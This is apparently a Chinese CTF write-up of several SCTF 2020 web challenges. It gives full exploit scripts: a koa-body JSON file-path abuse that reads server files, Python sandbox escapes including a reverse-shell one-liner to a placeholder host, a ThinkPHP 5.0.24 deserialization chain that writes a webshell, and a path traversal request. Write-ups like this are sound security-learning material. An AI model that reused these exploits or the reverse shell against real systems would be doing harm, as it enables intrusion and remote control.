SCTF 2020 部分题解
# SCTF 2020 部分题解
# Clouddisk
给了源码
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');
const app = new Koa();
const router = new Router();
const SECRET = "?"
app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});
router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');
});
app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at port: 3333')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
koa-bodyparser的issue.
https://github.com/dlau/koa-body/issues/75
在/uploadfile 的路由去POST Json
poc:
{"files":{"file":{"name":"eki","path":"/etc/passwd"}}}
1
这里相当于file.path
变成/etc/passwd
了
然后在/download路由下下载得到flag
exp
#coding=utf-8
import requests
import time
url="http://120.79.1.217:7777/"
s = requests.Session()
def upload(file):
json = {"files":{"file":{"name":"eki","path":file}}}
req = s.post(url+"uploadfile",json=json)
print req.text
#print
return req.text[38:]
def download(name):
req = s.get(url+"downloadfile/%s" % (name))
return req.text
def exploit(name):
text = download(upload(name))
if text != "Not Found":
retf = open(name.replace("/",''),"wb")
retf.write(text)
retf.close()
exploit("/app/flag")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# pysandbox
可用字符集
*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy
1
修改flask app 配置 设置当前目录为静态目录直接通过http请求读
import requests
url = "http://39.104.25.107:10000/"
s = requests.Session()
def exp(poc1,poc2):
data = {
"cmd":poc1
}
header = {
"User-Agent":poc2
}
req = s.post(url,data=data,headers=header)
print req.text
exp("app.static_folder=request.user_agent.string",".")
exp("app.static_url_path=request.user_agent.string","/sadsadsasd")
req = s.get(url+"static/flag")
print req.text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# pysandbox2
执行命令时可以执行类似 __builtins__.exec=open
,使得环境的内建方法被替换。
这里通过重载[]的方式实现函数调用
import requests
url ="http://39.104.25.107:10004/"
s= requests.Session()
def exp(poc1,poc2):
data = {
"cmd":poc1
}
header = {
"User-Agent":poc2
}
req = s.post(url,data=data,headers=header)
print req.text
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string]",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# defender
进去跳转到test目录下,发现应该是个纯静态,F12提示了一个路径
http://8.208.102.48/public/nationalsb/login.php
1
HTTP基础认证
在这个页面的js里可以看到用户名和部分密码
http://8.208.102.48/public/nationalsb/login.html
1
用BurpSuite爆破得到用户名密码
存在LFI 利用TP5.0.24的写文件漏洞,实现rce
import requests
import base64
import urllib
import hashlib
import random
url = 'http://8.208.102.48/public/'
s = requests.session()
def randomstr():
return ''.join(random.sample('12234567890zyxwvutsrqponmlkjihgfedcba',6))
def md5(p):
h = hashlib.md5()
h.update(p)
return h.hexdigest()
def exp(p,rs):
poc='O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22{2}%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A{0}%3A%22{1}%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D'.format(len(p),p,rs)
#print poc
print urllib.quote(base64.b64encode(urllib.unquote(poc)))
params= {
"s3cr3tk3y":base64.b64encode(urllib.unquote(poc))
}
req = s.get(url+"index.php/index/index/hello",params=params)
def name2(rs):
return "a.php"+md5('tag_'+md5(rs))+".php"
def name(p,rs):
return p+md5('tag_'+md5(rs))+".php"
def watchlog():
req= s.get(url+"log.txt")
print req.text
def test(p):
req = s.get(url+"index.php/")
print req.text
def inc(p):
header={
"Authorization":"Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE="
}
data = {
"file":"/tmp/"+p
}
req = s.post(url+"nationalsb/login.php",headers=header,data=data)
print req.text
return req.text
#exp('php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>')
#watchlog()
def exploit(p):
rs=randomstr()
#exp('php://filter/write=string.rot13/resource=../../../../../../../../tmp/'+p,rs)
exp('php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=../../../../../../../../tmp/aaa'+p+"/../a.php",rs)
#exp('php://filter/write=string.strip_tags/resource=../../../../../../../../tmp/'+p,rs)
watchlog()
inc(name2(rs))
exploit('PD9waHAgc3lzdGVtKCdjYXQgbG9naW4ucGhwJykgPz5h')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# BestLanguage
直接路径穿越了
好像是非预期
GET /index.php/tmp/../../flag HTTP/1.1
Host: 39.104.93.188
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, private
Date: Mon, 06 Jul 2020 02:21:35 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkxTM1JzK1lBZVBLSW1wYXhSQ3cwb3c9PSIsInZhbHVlIjoiZEdEd3lxRVhEWGZQcThMUkZHb294WXU2MHVPTTJPVHBaRkdvUk5tMXZsUnorMjJEYzFVV0N6eXYxQ3hhNFFaSmdtdERZN0hsZVA3eCt1a1RpR2pRMGc9PSIsIm1hYyI6IjRmYjA1NjEyNzA2ODY2NTAyYjBhMzU2N2I1MWM3ZjM1MGIxNTI5MzBmNjFlMDIxMWVkNWVjMzhjNTVlZjRmODMifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6InRIdEpIaEd1ZGdSNWVwMHhEajJDd3c9PSIsInZhbHVlIjoiTWtJQkM4aVNWYTU4YTZRektuNkg0YUV2eGdVa3JxR1lJSXhLZzJtK3hEbnRvd2x4WWprRk1zcXZvUHNCYXpKRENkQ09jZzd1TmhIR0txVXUxTkp5K3c9PSIsIm1hYyI6IjA4ODYzMzllYzg3OGZjYjZhMWI3Njc5MGU0MTllZDdiNGQwOTlmYTA2Y2E2ZDE1ODFhODIyNTRmZGM4OTAwMzAifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/; httponly
Content-Length: 41
SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
编辑 (opens new window)
上次更新: 2022/05/18, 16:49:51